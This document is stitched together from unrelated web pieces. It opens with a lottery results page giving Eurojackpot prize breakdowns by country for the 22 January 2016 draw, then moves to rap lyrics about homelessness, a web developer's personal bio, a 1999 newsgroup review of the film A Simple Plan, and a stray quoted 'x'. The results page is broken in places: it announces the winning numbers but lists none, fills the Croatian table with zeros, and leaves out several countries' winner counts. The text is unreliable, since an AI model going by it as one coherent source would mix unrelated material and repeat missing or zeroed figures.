Eurojackpot results for Friday 22nd January 2016
The winning numbers for the 3rd Eurojackpot draw in 2016 that took place on Friday 22nd January at 21:00 CEST (20:00 GMT) were:
Winners
Winners
Amount
Slovenian Prize Breakdown
View prize breakdowns for other countries| Numbers Matched | Prize Per Winner | Winners from Slovenia | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
€19,379,323.30 | 0 | €0 | 1 |
|
Match 5 and 1 Euro Number |
€1,134,075.70 | 0 | €0 | 1 |
|
Match 5 |
€400,262 | 0 | €0 | 1 |
|
Match 4 and 2 Euro Numbers |
€5,336.80 | 0 | €0 | 25 |
|
Match 4 and 1 Euro Number |
€265.60 | 12 | €3,187.20 | 452 |
|
Match 4 |
€108.20 | 22 | €2,380.40 | 863 |
|
Match 3 and 2 Euro Numbers |
€59.80 | 39 | €2,332.20 | 1,338 |
|
Match 2 and 2 Euro Numbers |
€21.60 | 431 | €9,309.60 | 19,075 |
|
Match 3 and 1 Euro Number |
€17.50 | 509 | €8,907.50 | 22,853 |
|
Match 3 |
€13.70 | 847 | €11,603.90 | 41,616 |
|
Match 1 and 2 Euro Numbers |
€10.70 | 2,106 | €22,534.20 | 97,255 |
|
Match 2 and 1 Euro Number |
€7.80 | 6,771 | €52,813.80 | 326,478 |
|
Total |
- | 10,737 | €113,068.80 | 509,958 |
Eurojackpot prizes in Slovenia must be claimed within 90 days of the draw date, so tickets purchased for this draw were valid until Thursday 21st April 2016.
Additional Draw Information
In total there were 13,342,067 entries into this draw from all participating countries.
Draw Number: 3
European Prize Breakdown
| Numbers Matched | Prize Per Winner | Winners from Croatia | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
kn0 | 0 | kn0 | 1 |
|
Match 5 and 1 Euro Number |
kn0 | 0 | kn0 | 1 |
|
Match 5 |
kn0 | 0 | kn0 | 1 |
|
Match 4 and 2 Euro Numbers |
kn0 | 0 | kn0 | 25 |
|
Match 4 and 1 Euro Number |
kn0 | 0 | kn0 | 452 |
|
Match 4 |
kn0 | 0 | kn0 | 863 |
|
Match 3 and 2 Euro Numbers |
kn0 | 0 | kn0 | 1,338 |
|
Match 2 and 2 Euro Numbers |
kn0 | 0 | kn0 | 19,075 |
|
Match 3 and 1 Euro Number |
kn0 | 0 | kn0 | 22,853 |
|
Match 3 |
kn0 | 0 | kn0 | 41,616 |
|
Match 1 and 2 Euro Numbers |
kn0 | 0 | kn0 | 97,255 |
|
Match 2 and 1 Euro Number |
kn0 | 0 | kn0 | 326,478 |
|
Total |
- | 0 | kn0 | 509,958 |
Eurojackpot prizes in Croatia must be claimed within 60 days of the draw date, so tickets purchased for this draw were valid until Tuesday 22nd March 2016.
The estimated jackpot advertised in Croatia prior to the draw was 0.
| Numbers Matched | Prize Per Winner | Winners from Czech Republic | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
Kč523,726,212 | 0 | Kč0 | 1 |
|
Match 5 and 1 Euro Number |
Kč30,648,395 | 0 | Kč0 | 1 |
|
Match 5 |
Kč10,817,080 | 0 | Kč0 | 1 |
|
Match 4 and 2 Euro Numbers |
Kč144,227 | 0 | Kč0 | 25 |
|
Match 4 and 1 Euro Number |
Kč7,177 | 15 | Kč107,655 | 452 |
|
Match 4 |
Kč2,924 | 23 | Kč67,252 | 863 |
|
Match 3 and 2 Euro Numbers |
Kč1,616 | 28 | Kč45,248 | 1,338 |
|
Match 2 and 2 Euro Numbers |
Kč583 | 501 | Kč292,083 | 19,075 |
|
Match 3 and 1 Euro Number |
Kč472 | 517 | Kč244,024 | 22,853 |
|
Match 3 |
Kč370 | 843 | Kč311,910 | 41,616 |
|
Match 1 and 2 Euro Numbers |
Kč289 | 2,325 | Kč671,925 | 97,255 |
|
Match 2 and 1 Euro Number |
Kč210 | 7,151 | Kč1,501,710 | 326,478 |
|
Total |
- | 11,403 | Kč3,241,807 | 509,958 |
Eurojackpot prizes in Czech Republic must be claimed within 35 days of the draw date, so tickets purchased for this draw were valid until Friday 26th February 2016.
The estimated jackpot advertised in Czech Republic prior to the draw was 0.
| Numbers Matched | Prize Per Winner | Winners from Denmark | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
kr.122,918,911 | 0 | kr.0 | 1 |
|
Match 5 and 1 Euro Number |
kr.7,193,228 | 0 | kr.0 | 1 |
|
Match 5 |
kr.2,551,700 | 0 | kr.0 | 1 |
|
Match 4 and 2 Euro Numbers |
kr.34,052 | 3 | kr.102,156 | 25 |
|
Match 4 and 1 Euro Number |
kr.1,723 | 48 | kr.82,704 | 452 |
|
Match 4 |
kr.719 | 93 | kr.66,867 | 863 |
|
Match 3 and 2 Euro Numbers |
kr.411 | 138 | kr.56,718 | 1,338 |
|
Match 2 and 2 Euro Numbers |
kr.162 | 1,781 | kr.288,522 | 19,075 |
|
Match 3 and 1 Euro Number |
kr.131 | 2,153 | kr.282,043 | 22,853 |
|
Match 3 |
kr.102 | 3,862 | kr.393,924 | 41,616 |
|
Match 1 and 2 Euro Numbers |
kr.80 | 9,899 | kr.791,920 | 97,255 |
|
Match 2 and 1 Euro Number |
kr.58 | 30,367 | kr.1,761,286 | 326,478 |
|
Total |
- | 48,344 | kr.3,826,140 | 509,958 |
Eurojackpot prizes in Denmark must be claimed within a set period of time depending on how much you have won. Visit the How to Claim page to find specific claim periods, with some prizes needing to be claimed within 90 days of the draw (valid until Thursday 21st April 2016).
The estimated jackpot advertised in Denmark prior to the draw was 0.
| Numbers Matched | Prize Per Winner | Winners from Estonia | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
€19,379,323.30 | 0 | €0 | 1 |
|
Match 5 and 1 Euro Number |
€1,134,075.70 | 0 | €0 | 1 |
|
Match 5 |
€400,262 | 0 | €0 | 1 |
|
Match 4 and 2 Euro Numbers |
€5,336.80 | 0 | €0 | 25 |
|
Match 4 and 1 Euro Number |
€265.60 | 2 | €531.20 | 452 |
|
Match 4 |
€108.20 | 8 | €865.60 | 863 |
|
Match 3 and 2 Euro Numbers |
€59.80 | 8 | €478.40 | 1,338 |
|
Match 2 and 2 Euro Numbers |
€21.60 | 172 | €3,715.20 | 19,075 |
|
Match 3 and 1 Euro Number |
€17.50 | 230 | €4,025 | 22,853 |
|
Match 3 |
€13.70 | 348 | €4,767.60 | 41,616 |
|
Match 1 and 2 Euro Numbers |
€10.70 | 921 | €9,854.70 | 97,255 |
|
Match 2 and 1 Euro Number |
€7.80 | 2,831 | €22,081.80 | 326,478 |
|
Total |
- | 4,520 | €46,319.50 | 509,958 |
Eurojackpot prizes in Estonia must be claimed within 90 days of the draw date, so tickets purchased for this draw were valid until Thursday 21st April 2016.
The estimated jackpot advertised in Estonia prior to the draw was €19,000,000.
| Numbers Matched | Prize Per Winner | Winners from Finland | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
€19,379,323.30 | 1 | €19,379,323.30 | 1 |
|
Match 5 and 1 Euro Number |
€1,134,075.70 | 0 | €0 | 1 |
|
Match 5 |
€400,262 | 0 | €0 | 1 |
|
Match 4 and 2 Euro Numbers |
€5,336.80 | At present this information is not released by the lottery operator of Finland | 25 | |
|
Match 4 and 1 Euro Number |
€265.60 | 452 | ||
|
Match 4 |
€108.20 | 863 | ||
|
Match 3 and 2 Euro Numbers |
€59.80 | 1,338 | ||
|
Match 2 and 2 Euro Numbers |
€21.60 | 19,075 | ||
|
Match 3 and 1 Euro Number |
€17.50 | 22,853 | ||
|
Match 3 |
€13.70 | 41,616 | ||
|
Match 1 and 2 Euro Numbers |
€10.70 | 97,255 | ||
|
Match 2 and 1 Euro Number |
€7.80 | 326,478 | ||
|
Total |
- | 509,958 |
Eurojackpot prizes in Finland must be claimed within 365 days of the draw date, so tickets purchased for this draw were valid until Saturday 21st January 2017.
The estimated jackpot advertised in Finland prior to the draw was €19,000,000.
| Numbers Matched | Prize Per Winner | Winners from Germany | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
€19,379,323.30 | 0 | €0 | 1 |
|
Match 5 and 1 Euro Number |
€1,134,075.70 | 0 | €0 | 1 |
|
Match 5 |
€400,262 | 1 | €400,262 | 1 |
|
Match 4 and 2 Euro Numbers |
€5,336.80 | At present this information is not released by the lottery operator of Germany | 25 | |
|
Match 4 and 1 Euro Number |
€265.60 | 452 | ||
|
Match 4 |
€108.20 | 863 | ||
|
Match 3 and 2 Euro Numbers |
€59.80 | 1,338 | ||
|
Match 2 and 2 Euro Numbers |
€21.60 | 19,075 | ||
|
Match 3 and 1 Euro Number |
€17.50 | 22,853 | ||
|
Match 3 |
€13.70 | 41,616 | ||
|
Match 1 and 2 Euro Numbers |
€10.70 | 97,255 | ||
|
Match 2 and 1 Euro Number |
€7.80 | 326,478 | ||
|
Total |
- | 509,958 |
Eurojackpot prizes in Germany must be claimed within 3 years of the draw date, so tickets purchased for this draw were valid until Tuesday 22nd January 2019.
The estimated jackpot advertised in Germany prior to the draw was €19,000,000.
| Numbers Matched | Prize Per Winner | Winners from Hungary | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
€19,379,323.30 | 0 | €0 | 1 |
|
Match 5 and 1 Euro Number |
€1,134,075.70 | 0 | €0 | 1 |
|
Match 5 |
Ft112,273,490 | 0 | Ft0 | 1 |
|
Match 4 and 2 Euro Numbers |
Ft1,496,970 | 1 | Ft1,496,970 | 25 |
|
Match 4 and 1 Euro Number |
Ft74,500 | 17 | Ft1,266,500 | 452 |
|
Match 4 |
Ft30,350 | 28 | Ft849,800 | 863 |
|
Match 3 and 2 Euro Numbers |
Ft16,775 | 61 | Ft1,023,275 | 1,338 |
|
Match 2 and 2 Euro Numbers |
Ft6,060 | 702 | Ft4,254,120 | 19,075 |
|
Match 3 and 1 Euro Number |
Ft4,910 | 856 | Ft4,202,960 | 22,853 |
|
Match 3 |
Ft3,845 | 1,286 | Ft4,944,670 | 41,616 |
|
Match 1 and 2 Euro Numbers |
Ft3,000 | 3,507 | Ft10,521,000 | 97,255 |
|
Match 2 and 1 Euro Number |
Ft2,190 | 11,740 | Ft25,710,600 | 326,478 |
|
Total |
- | 18,198 | Ft54,269,895 | 509,958 |
Eurojackpot prizes in Hungary must be claimed within 180 days of the draw date, so tickets purchased for this draw were valid until Wednesday 20th July 2016.
The estimated jackpot advertised in Hungary prior to the draw was €19,000,000.
| Numbers Matched | Prize Per Winner | Winners from Iceland | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
kr.2,735,003,890 | 0 | kr.0 | 1 |
|
Match 5 and 1 Euro Number |
kr.160,052,100 | 0 | kr.0 | 1 |
|
Match 5 |
kr.56,488,970 | 0 | kr.0 | 1 |
|
Match 4 and 2 Euro Numbers |
kr.753,180 | At present this information is not released by the lottery operator of Iceland | 25 | |
|
Match 4 and 1 Euro Number |
kr.37,480 | 452 | ||
|
Match 4 |
kr.15,270 | 863 | ||
|
Match 3 and 2 Euro Numbers |
kr.8,430 | 1,338 | ||
|
Match 2 and 2 Euro Numbers |
kr.2,460 | 19,075 | ||
|
Match 3 and 1 Euro Number |
kr.3,040 | 22,853 | ||
|
Match 3 |
kr.1,930 | 41,616 | ||
|
Match 1 and 2 Euro Numbers |
kr.1,510 | 97,255 | ||
|
Match 2 and 1 Euro Number |
kr.1,100 | 326,478 | ||
|
Total |
- | 509,958 |
Eurojackpot prizes in Iceland must be claimed within 1 year of the draw date, so tickets purchased for this draw were valid until Sunday 22nd January 2017.
The estimated jackpot advertised in Iceland prior to the draw was 0.
| Numbers Matched | Prize Per Winner | Winners from Italy | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
€19,379,323.30 | 0 | €0 | 1 |
|
Match 5 and 1 Euro Number |
€1,134,075.70 | 0 | €0 | 1 |
|
Match 5 |
€400,262 | 0 | €0 | 1 |
|
Match 4 and 2 Euro Numbers |
€5,336.80 | 1 | €5,336.80 | 25 |
|
Match 4 and 1 Euro Number |
€265.60 | 28 | €7,436.80 | 452 |
|
Match 4 |
€108.20 | 48 | €5,193.60 | 863 |
|
Match 3 and 2 Euro Numbers |
€59.80 | 65 | €3,887 | 1,338 |
|
Match 2 and 2 Euro Numbers |
€21.60 | 932 | €20,131.20 | 19,075 |
|
Match 3 and 1 Euro Number |
€17.50 | 1,392 | €24,360 | 22,853 |
|
Match 3 |
€13.70 | 2,641 | €36,181.70 | 41,616 |
|
Match 1 and 2 Euro Numbers |
€10.70 | 4,746 | €50,782.20 | 97,255 |
|
Match 2 and 1 Euro Number |
€7.80 | 18,783 | €146,507.40 | 326,478 |
|
Total |
- | 28,636 | €299,816.70 | 509,958 |
Eurojackpot prizes in Italy must be claimed within a set period of time depending on how much you have won. Visit the How to Claim page to find specific claim periods, with some prizes needing to be claimed within 30 days of the draw (valid until Sunday 21st February 2016).
The estimated jackpot advertised in Italy prior to the draw was €19,000,000.
| Numbers Matched | Prize Per Winner | Winners from Latvia | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
€19,379,323.30 | 0 | €0 | 1 |
|
Match 5 and 1 Euro Number |
€1,134,075.70 | 0 | €0 | 1 |
|
Match 5 |
€400,262 | 0 | €0 | 1 |
|
Match 4 and 2 Euro Numbers |
€5,336.80 | At present this information is not released by the lottery operator of Latvia | 25 | |
|
Match 4 and 1 Euro Number |
€265.60 | 452 | ||
|
Match 4 |
€108.20 | 863 | ||
|
Match 3 and 2 Euro Numbers |
€59.80 | 1,338 | ||
|
Match 2 and 2 Euro Numbers |
€21.60 | 19,075 | ||
|
Match 3 and 1 Euro Number |
€17.50 | 22,853 | ||
|
Match 3 |
€13.70 | 41,616 | ||
|
Match 1 and 2 Euro Numbers |
€10.70 | 97,255 | ||
|
Match 2 and 1 Euro Number |
€7.80 | 326,478 | ||
|
Total |
- | 509,958 |
Eurojackpot prizes in Latvia must be claimed within 30 days of the draw date, so tickets purchased for this draw were valid until Sunday 21st February 2016.
The estimated jackpot advertised in Latvia prior to the draw was €19,000,000.
| Numbers Matched | Prize Per Winner | Winners from Lithuania | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
€19,379,323.30 | 0 | €0 | 1 |
|
Match 5 and 1 Euro Number |
€1,134,075.70 | 0 | €0 | 1 |
|
Match 5 |
€400,262 | 0 | €0 | 1 |
|
Match 4 and 2 Euro Numbers |
€5,336.80 | 0 | €0 | 25 |
|
Match 4 and 1 Euro Number |
€265.60 | 1 | €265.60 | 452 |
|
Match 4 |
€108.20 | 2 | €216.40 | 863 |
|
Match 3 and 2 Euro Numbers |
€59.80 | 8 | €478.40 | 1,338 |
|
Match 2 and 2 Euro Numbers |
€21.60 | 89 | €1,922.40 | 19,075 |
|
Match 3 and 1 Euro Number |
€17.50 | 113 | €1,977.50 | 22,853 |
|
Match 3 |
€13.70 | 197 | €2,698.90 | 41,616 |
|
Match 1 and 2 Euro Numbers |
€10.70 | 441 | €4,718.70 | 97,255 |
|
Match 2 and 1 Euro Number |
€7.80 | 1,551 | €12,097.80 | 326,478 |
|
Total |
- | 2,402 | €24,375.70 | 509,958 |
Eurojackpot prizes in Lithuania must be claimed within 60 days of the draw date, so tickets purchased for this draw were valid until Tuesday 22nd March 2016.
The estimated jackpot advertised in Lithuania prior to the draw was €19,000,000.
| Numbers Matched | Prize Per Winner | Winners from Netherlands | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
€19,379,323.30 | 0 | €0 | 1 |
|
Match 5 and 1 Euro Number |
€1,134,075.70 | 0 | €0 | 1 |
|
Match 5 |
€400,262 | 0 | €0 | 1 |
|
Match 4 and 2 Euro Numbers |
€5,336.80 | At present this information is not released by the lottery operator of Netherlands | 25 | |
|
Match 4 and 1 Euro Number |
€265.60 | 452 | ||
|
Match 4 |
€108.20 | 863 | ||
|
Match 3 and 2 Euro Numbers |
€59.80 | 1,338 | ||
|
Match 2 and 2 Euro Numbers |
€21.60 | 19,075 | ||
|
Match 3 and 1 Euro Number |
€17.50 | 22,853 | ||
|
Match 3 |
€13.70 | 41,616 | ||
|
Match 1 and 2 Euro Numbers |
€10.70 | 97,255 | ||
|
Match 2 and 1 Euro Number |
€7.80 | 326,478 | ||
|
Total |
- | 509,958 |
Eurojackpot prizes in Netherlands must be claimed within 365 days of the draw date, so tickets purchased for this draw were valid until Saturday 21st January 2017.
The estimated jackpot advertised in Netherlands prior to the draw was €19,000,000.
| Numbers Matched | Prize Per Winner | Winners from Norway | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
kr.183,493,120 | 0 | kr.0 | 1 |
|
Match 5 and 1 Euro Number |
kr.37,928,950 | 1 | kr.37,928,950 | 1 |
|
Match 5 |
kr.3,789,880 | 0 | kr.0 | 1 |
|
Match 4 and 2 Euro Numbers |
kr.50,530 | At present this information is not released by the lottery operator of Norway | 25 | |
|
Match 4 and 1 Euro Number |
kr.2,510 | 452 | ||
|
Match 4 |
kr.1,020 | 863 | ||
|
Match 3 and 2 Euro Numbers |
kr.565 | 1,338 | ||
|
Match 2 and 2 Euro Numbers |
kr.200 | 19,075 | ||
|
Match 3 and 1 Euro Number |
kr.165 | 22,853 | ||
|
Match 3 |
kr.125 | 41,616 | ||
|
Match 1 and 2 Euro Numbers |
kr.100 | 97,255 | ||
|
Match 2 and 1 Euro Number |
kr.70 | 326,478 | ||
|
Total |
- | 509,958 |
Eurojackpot prizes in Norway must be claimed within 3 months of the draw date, so tickets purchased for this draw were valid until Friday 22nd April 2016.
The estimated jackpot advertised in Norway prior to the draw was 0.
| Numbers Matched | Prize Per Winner | Winners from Slovakia | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
€19,379,323.30 | 0 | €0 | 1 |
|
Match 5 and 1 Euro Number |
€1,134,075.70 | 0 | €0 | 1 |
|
Match 5 |
€400,262 | 0 | €0 | 1 |
|
Match 4 and 2 Euro Numbers |
€5,336.80 | 1 | €5,336.80 | 25 |
|
Match 4 and 1 Euro Number |
€265.60 | 14 | €3,718.40 | 452 |
|
Match 4 |
€108.20 | 26 | €2,813.20 | 863 |
|
Match 3 and 2 Euro Numbers |
€59.80 | 31 | €1,853.80 | 1,338 |
|
Match 2 and 2 Euro Numbers |
€21.60 | 399 | €8,618.40 | 19,075 |
|
Match 3 and 1 Euro Number |
€17.50 | 584 | €10,220 | 22,853 |
|
Match 3 |
€13.70 | 930 | €12,741 | 41,616 |
|
Match 1 and 2 Euro Numbers |
€10.70 | 1,953 | €20,897.10 | 97,255 |
|
Match 2 and 1 Euro Number |
€7.80 | 6,688 | €52,166.40 | 326,478 |
|
Total |
- | 10,626 | €118,365.10 | 509,958 |
Eurojackpot prizes in Slovakia must be claimed within 35 days of the draw date, so tickets purchased for this draw were valid until Friday 26th February 2016.
The estimated jackpot advertised in Slovakia prior to the draw was €19,000,000.
| Numbers Matched | Prize Per Winner | Winners from Spain | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
€19,379,323.30 | 0 | €0 | 1 |
|
Match 5 and 1 Euro Number |
€1,134,075.70 | 0 | €0 | 1 |
|
Match 5 |
€400,262 | 0 | €0 | 1 |
|
Match 4 and 2 Euro Numbers |
€5,336.80 | 0 | €0 | 25 |
|
Match 4 and 1 Euro Number |
€265.60 | 21 | €5,577.60 | 452 |
|
Match 4 |
€108.20 | 30 | €3,246 | 863 |
|
Match 3 and 2 Euro Numbers |
€59.80 | 35 | €2,093 | 1,338 |
|
Match 2 and 2 Euro Numbers |
€21.60 | 595 | €12,852 | 19,075 |
|
Match 3 and 1 Euro Number |
€17.50 | 732 | €12,810 | 22,853 |
|
Match 3 |
€13.70 | 1,370 | €18,769 | 41,616 |
|
Match 1 and 2 Euro Numbers |
€10.70 | 3,125 | €33,437.50 | 97,255 |
|
Match 2 and 1 Euro Number |
€7.80 | 10,275 | €80,145 | 326,478 |
|
Total |
- | 16,183 | €168,930.10 | 509,958 |
Eurojackpot prizes in Spain must be claimed within 30 days of the draw date, so tickets purchased for this draw were valid until Sunday 21st February 2016.
The estimated jackpot advertised in Spain prior to the draw was €19,000,000.
| Numbers Matched | Prize Per Winner | Winners from Sweden | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
kr.180,613,355 | 0 | kr.0 | 1 |
|
Match 5 and 1 Euro Number |
kr.10,569,472 | 0 | kr.0 | 1 |
|
Match 5 |
kr.3,730,401 | 0 | kr.0 | 1 |
|
Match 4 and 2 Euro Numbers |
kr.225,643 | 1 | kr.225,643 | 25 |
|
Match 4 and 1 Euro Number |
kr.42,453 | 8 | kr.339,624 | 452 |
|
Match 4 |
kr.8,583 | 38 | kr.326,154 | 863 |
|
Match 3 and 2 Euro Numbers |
kr.3,441 | 61 | kr.209,901 | 1,338 |
|
Match 2 and 2 Euro Numbers |
kr.201 | 726 | kr.145,926 | 19,075 |
|
Match 3 and 1 Euro Number |
kr.163 | 941 | kr.153,383 | 22,853 |
|
Match 3 |
kr.127 | 1,721 | kr.218,567 | 41,616 |
|
Match 1 and 2 Euro Numbers |
kr.99 | 3,398 | kr.336,402 | 97,255 |
|
Match 2 and 1 Euro Number |
kr.72 | 12,451 | kr.896,472 | 326,478 |
|
Total |
- | 19,345 | kr.2,852,072 | 509,958 |
Eurojackpot prizes in Sweden must be claimed within 3 months of the draw date, so tickets purchased for this draw were valid until Friday 22nd April 2016.
The estimated jackpot advertised in Sweden prior to the draw was 0.
Associated Draw Results
- 2
- 6
- 2
- 3
- 8
- 0
| Numbers Matched | Prize Per Winner | Total Winners |
|---|---|---|
| Match 6 in Exact Order | €50,000 | 0 |
| Match Last 5 in Exact Order | €5,000 | 1 |
| Match Last 4 in Exact Order | €500 | 4 |
| Match Last 3 in Exact Order | €50 | 67 |
| Match Last 2 in Exact Order | €5 | 716 |
| Match Last 1 in Exact Order | €3 | 6,887 |
- 9
- 3
- 8
- 3
- 6
- 3
| Numbers Matched | Prize Per Winner | Total Winners |
|---|---|---|
| Match 6 | CZK2,000,000 | 0 |
| Match 5 | CZK200,000 | 1 |
| Match 4 | CZK20,000 | 6 |
| Match 3 | CZK2,000 | 65 |
| Match 2 | CZK200 | 535 |
| Match 1 | CZK120 | 5,500 |
- 3
- 2
- 8
- 8
- 9
- 8
- 6
| Numbers Matched | Prize Per Winner | Total Winners |
|---|---|---|
| Match 7 in Exact Order | €0 | 0 |
| Match Any 6 in the Right Spot | €20,000 | 0 |
| Match Any 5 in the Right Spot | €500 | 40 |
| Match Any 4 in the Right Spot | €50 | 418 |
| Match Any 3 in the Right Spot | €6 | 4,339 |
| Match Any 2 in the Right Spot | €3 | 22,594 |
- 4
- 2
- 2
- 4
- 4
| Numbers Matched | Prize Per Winner | Total Winners |
|---|---|---|
| Match 5 in Exact Order | kr2,000,000 | 0 |
| Match First/Last 4 in Exact Order | kr100,000 | 1 |
| Match First/Last 3 in Exact Order | kr10,000 | 13 |
| Match First/Last 2 in Exact Order | kr2,000 | 114 |
Related Eurojackpot Results Links
- Automatically check your Eurojackpot ticket
- View average prizes and winners for each prize tiers
- View the largest jackpot winners and total winners from each country
- View previous Eurojackpot results by year
Buy Eurojackpot Tickets Online
By buying your Eurojackpot tickets online you don’t have to worry about ever losing your Eurojackpot lottery tickets. When you play the Eurojackpot online all your lottery tickets purchased on the internet are stored in your personal account, meaning that you can view them anytime you wish.


Intro (Max & Eric):
People are placed on a permanent spell
Makin’ the invisible visible is our Sermon to tell
Verse 1 (Max):
Imagine that the government treats you like a criminal,
Try walkin’ in their shoes you will feel like you're invisible
You're passed on the street in the cold or the heat
No one stops to give a crumb, they just label you a bum
They don't know what lays inside, so they just toss you aside
Ain't no individuality, society creates a new class of criminality
Gotta think about the opportunities that we were given,
It's not that many of these people aren't extremely driven
We dehumanize, it's time we rationalize and realize
All the damage that we've done to this population
Gotta get rid of these stinkin’ laws and these regulations
If I’m homeless they won't even hire me
Time to recognize this is the fault of bourgeois society
The government obeys the wishes of the upper class
Not knowin’ what harm it's doin’ to those without cash
If you look into their eyes you will realize
The homeless, they don't come in one shape nor one size
You think about the old man on the corner,
But what about the mother who just can't afford to feed her daughter
You think about the person begging for some money,
But what about the veteran who fought all those years for his country?
So next time you see somebody who needs a little guidance,
Just think about these words, don't turn your back in silence
Verse 2 (Eric):
To continue the conversation
From the Bean to across the nation
Policies and actions must be addressed in administration
It's more than the government to keep in consideration
At an assembly not enough show dedication, avoid cooperation
These are just some of the issues, legislations
From the today's society to its foundation
Wait for hours in line to get no accommodation
Travel often but don't call it a vacation
Chronic poverty forcin’ kids to forget about graduation
Not enough resources allocated to education
People who need healthcare, welfare, medication
If you wanna see what we see here's a clarification
When the streets are floodin’ with the poor
Got no home, no shower, sleepin’ outdoor
Our society views poverty as an eyesore
Why does government choose to ignore
Too Focused on war off shore
People politicin’ policies need to restore
Change is what they need to look for
In order to take it all in one must explore
We need more change, not nickels dimes, and quarters
But government action and more orders
They need help and more supporters
The faces we saw, the stories we heard
Not only the ones you see on the streets and the curb
Why is this issue at the back like puzzle crossword
In politics, this issue is invisible, make the intangible physical
The situation is way too Critical
If no one takes action, we'll need a miracle
That happens rarely
That's what scares me
But capstone did prepare me
And my group of the reality
Taking things for granted, such as a cup of tea
Or a home with a bed every night guaranteed
Or at least how we know we have everything that we need
Grateful for our lives and the fact that we breathe


Born in LA 1990, under a full October Moon 🌕. My name is Armando, I am fanatic of Tacos 🌮, with a deep love for all kinds of Music 💃🎶, Futbol ⚽, Culture 🎭, and Knowledge 📚.
Having the ability to grow within such a technological era in life, a spark of interest has always been lit, for the understanding of techonology, computers, and programs. I am currently enrolled within UCR, to pursue the passion of becoming a Full Stack Software Web Developer. Even before enrolling to school, my interest for understanding computers and how they function lead me to build, my first custom Computer. Another early venture into programming, was coding and building a MagicMirror. The MagicMirror hangs in the restroom, where it displays an array of info from 3rd Party API's. Within the University program, I am learning to forge and inovate with my creativity dynamic based, full web applications. As a Full-Stack web developer, it envelops mastering a variety of Programming languages, those within my repertoire are: Html-5, Css, JavaScript, JQuery, Bootstrap, C+, ES6+, Node.js, MySQL, Handlebars, MongoDB, IndexedDB.
Other Deep affinities include, keeping physically fit 🏋, Astronomy 🌠, Hiking 🌄, Road Cycling 🚴, and my Husky Zizou 🐺🐾.


A SIMPLE PLAN
*** (out of 4) - a good movie
Release Date: January 22, 1999 Starring: Bill Paxton, Billy Bob Thornton, Bridget Fonda, Brent Briscoe, Chelcie Ross, Gary Cole Directed by: Sam Raimi Distributed by: Paramount Pictures MPAA Rating: R (violence, language) URL: http://www.execpc.com/~kinnopio/reviews/1999/simple.htm
The setup is familiar: a group of characters land themselves in a boatload of trouble and devise a simple plan to get out of it. The plan, needless to say, never goes as intended, and hence the plot of the movie. A SIMPLE PLAN, directed by Sam Raimi (DARKMAN), is entirely of this vein -- as the title indicates. But even more so, it's a fine example of a stylishly directed thriller: screenwriting, camerawork, editing, and sound all come together to make this movie a truly involving experience.
Bill Paxton headlines a cast of noteworthies as Hank Mitchell, an educated Midwesterner struggling to make ends meet. His wife Sarah (Bridget Fonda) is expecting a baby, and his job at the local grain mill may not cover their expenses. His brother Jacob (Billy Bob Thornton) is even worse -- he hangs out with the town drunk, Lou (Brent Briscoe), and lives in a derelict apartment. So it's a fortunate turn of events for the threesome when, out hunting, they find over four million dollars inside a snow-covered plane wreck. Lou and Jacob want to spend the money immediately, but Hank insists on keeping the money until spring; if no one comes looking, then each man will get his share and they'll all leave town.
When it wants to be, A SIMPLE PLAN is a very gutsy movie. Most of the time, however, it relies on subtlety to create a tense atmosphere. For instance, most of the paranoia and incriminating doubt that the characters experience is completely unnecessary -- the characters build it up inside of themselves. Similarly, the writing in certain scenes (such as the one where Hank and Jacob attempt to evince a confession from Lou) is shrewd to the point of impossibility; the Scott Smith script runs in circles before it hits the viewer in the face.  But most importantly, the biting irony of the script's ending should not be missed.
The cast is well-chosen. Bill Paxton and Billy Bob Thornton work well together, and their contrasts and similarities are what anchor the movie. In most respects they're different individuals, bound only by their family name, but in the movie's brief moments of character study it's possible to see their likenesses. Interestingly enough, Jacob is often a much more intelligent character than he appears; his role, from start to finish, is an extraordinary one. Thornton masters it in fine form. Other supports are also effective, especially Bridget Fonda as Hank's wife Sarah.
A SIMPLE PLAN is not unreasonably complex, and can only be faulted for occasional moments of dullness. There are a number of possible Academy Award nominations for this picture, although they will certainly it will certainly be the dark horse. Certainly a worthwhile watch.
all contents (c) 1999 Craig Roush
-- Craig Roush<EMAIL_ADDRESS>-- Kinnopio's Movie Reviews http://www.execpc.com/~kinnopio
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


"x"
